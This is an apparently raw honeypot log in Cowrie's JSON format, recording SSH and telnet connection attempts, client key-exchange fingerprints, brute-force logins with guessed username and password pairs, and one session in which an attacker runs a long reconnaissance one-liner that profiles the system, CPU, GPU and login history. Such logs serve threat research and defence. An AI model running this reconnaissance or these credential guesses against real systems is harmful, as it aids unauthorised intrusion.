{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:54.319557Z","src_ip":"209.99.190.113","session":"ce3d9dbee1ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:54.730417Z","src_ip":"198.1.75.59","session":"cf29b64e81da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.146.69","src_port":48942,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a512dc2523b","protocol":"telnet","message":"New connection: 107.150.146.69:48942 (10.17.0.5:23) [session: 9a512dc2523b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:57.131268Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":33866,"dst_ip":"10.17.0.5","dst_port":22,"session":"3864ef2fdbbc","protocol":"ssh","message":"New connection: 91.92.40.4:33866 (10.17.0.5:22) [session: 3864ef2fdbbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:59.070931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:59.082276Z","src_ip":"91.92.40.4","session":"3864ef2fdbbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:59.165935Z","src_ip":"91.92.40.4","session":"3864ef2fdbbc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qwerty123456","message":"login attempt [oracle/qwerty123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:59.462589Z","src_ip":"91.92.40.4","session":"3864ef2fdbbc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:59.965628Z","src_ip":"91.92.40.4","session":"3864ef2fdbbc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:59.968786Z","src_ip":"91.92.40.4","session":"3864ef2fdbbc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:59.972122Z","src_ip":"91.92.40.4","session":"3864ef2fdbbc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:59.975641Z","src_ip":"91.92.40.4","session":"3864ef2fdbbc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:59.978691Z","src_ip":"91.92.40.4","session":"3864ef2fdbbc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:59.983523Z","src_ip":"91.92.40.4","session":"3864ef2fdbbc","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:59.986922Z","src_ip":"91.92.40.4","session":"3864ef2fdbbc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:59.989094Z","src_ip":"91.92.40.4","session":"3864ef2fdbbc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:59.991034Z","src_ip":"91.92.40.4","session":"3864ef2fdbbc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:59.995046Z","src_ip":"91.92.40.4","session":"3864ef2fdbbc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:10:59.999094Z","src_ip":"91.92.40.4","session":"3864ef2fdbbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"da123456!","message":"login attempt [root/da123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:11:00.014994Z","src_ip":"172.190.216.105","session":"98cd74af4b26","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:11:00.094777Z","src_ip":"91.92.40.4","session":"3864ef2fdbbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:11:00.181433Z","src_ip":"91.92.40.4","session":"3864ef2fdbbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":85.634685754776,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:11:00.513691Z","src_ip":"170.64.224.25","session":"88dacc2de494","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"31.3","message":"Connection lost after 31.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:11:02.446050Z","src_ip":"172.190.216.105","session":"98cd74af4b26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":35706,"dst_ip":"159.203.135.109","dst_port":22,"session":"6342f5f266fc","protocol":"ssh","message":"New connection: 160.187.174.22:35706 (159.203.135.109:22) [session: 6342f5f266fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:11:14.622495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:11:14.683229Z","src_ip":"160.187.174.22","session":"6342f5f266fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:11:14.873805Z","src_ip":"160.187.174.22","session":"6342f5f266fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:11:15.837941Z","src_ip":"160.187.174.22","session":"6342f5f266fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:11:17.081114Z","src_ip":"160.187.174.22","session":"6342f5f266fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.200.19","src_port":16908,"dst_ip":"159.203.135.109","dst_port":22,"session":"317850b7a505","protocol":"ssh","message":"New connection: 43.160.200.19:16908 (159.203.135.109:22) [session: 317850b7a505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:11:23.984389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:11:23.993191Z","src_ip":"43.160.200.19","session":"317850b7a505","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:11:24.237550Z","src_ip":"43.160.200.19","session":"317850b7a505","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49430,"dst_ip":"159.203.135.109","dst_port":23,"session":"452602ee0565","protocol":"telnet","message":"New connection: 170.64.224.25:49430 (159.203.135.109:23) [session: 452602ee0565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:11:24.307093Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xm@123456","message":"login attempt [root/Xm@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:11:25.251737Z","src_ip":"43.160.200.19","session":"317850b7a505","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:11:26.498798Z","src_ip":"43.160.200.19","session":"317850b7a505","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.580339670181274,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:11:34.711434Z","src_ip":"107.150.146.69","session":"9a512dc2523b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":42858,"dst_ip":"10.17.0.5","dst_port":22,"session":"168c1abc8201","protocol":"ssh","message":"New connection: 103.176.20.57:42858 (10.17.0.5:22) [session: 168c1abc8201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:11:41.314159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:11:41.318345Z","src_ip":"103.176.20.57","session":"168c1abc8201","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:11:41.569938Z","src_ip":"103.176.20.57","session":"168c1abc8201","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"030289","message":"login attempt [root/030289] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:11:42.334508Z","src_ip":"103.176.20.57","session":"168c1abc8201","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":41570,"dst_ip":"159.203.135.109","dst_port":22,"session":"8289b26e8225","protocol":"ssh","message":"New connection: 160.187.174.22:41570 (159.203.135.109:22) [session: 8289b26e8225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:11:43.423890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:11:43.428442Z","src_ip":"160.187.174.22","session":"8289b26e8225","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:11:43.597285Z","src_ip":"103.176.20.57","session":"168c1abc8201","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:11:43.677376Z","src_ip":"160.187.174.22","session":"8289b26e8225","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:11:44.417099Z","src_ip":"160.187.174.22","session":"8289b26e8225","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:11:45.667577Z","src_ip":"160.187.174.22","session":"8289b26e8225","protocol":"ssh"}
